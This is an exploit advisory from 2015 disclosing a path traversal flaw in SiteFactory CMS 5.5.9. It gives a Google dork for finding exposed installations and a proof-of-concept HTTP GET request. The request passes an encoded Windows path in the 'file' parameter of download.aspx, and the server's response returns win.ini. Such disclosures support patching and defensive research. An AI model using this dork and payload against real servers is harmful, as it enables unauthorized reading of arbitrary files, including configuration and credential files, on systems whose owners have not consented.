|||||||||||||| [+] Title: SiteFactory CMS 5.5.9 Path Traversal File
= \ , [+] Date: [19-8-2015]
= | [+] Autor Guillermo Garcia Marcos
_= ___/ [+] Vendor: http://www.mindbite.se/
/ _\ (o)\ [+] Dork : inurl:/sitefactory/assets/
| | \ _ \ [+] info: The file parameter is vulnerable to path traversal attacks,
| |/ (____) enabling read access to arbitrary files on the server.
\__/ / | Latest versions can be vulnerable.
/ / ___) [+] Timeline research:
/ \ \ _) ) 18-8-2015: Bug found
\ \ / ( 19-8-2015: Public disclosure
\/ \ \_________/ |\_________________,_ )
\/ \ / | ==== _______)__)
\/ \ / __/___ ====_/
\/ \ / (O____)\\_(_/
(O_ ____)
(O____)
[+]PoC:
Request :
GET /sitefactory/assets/download.aspx?file=c%3a\windows\win.ini HTTP/1.1
Host: censored-host.com
Response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.0
X-AspNet-Version: 4.0.30319
content-disposition: attachment; filename=win.ini
X-Powered-By: ASP.NET
Date: Tue, 18 Aug 2015 17:58:14 GMT
Content-Length: 92
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
// https://twitter.com/GuilleSec
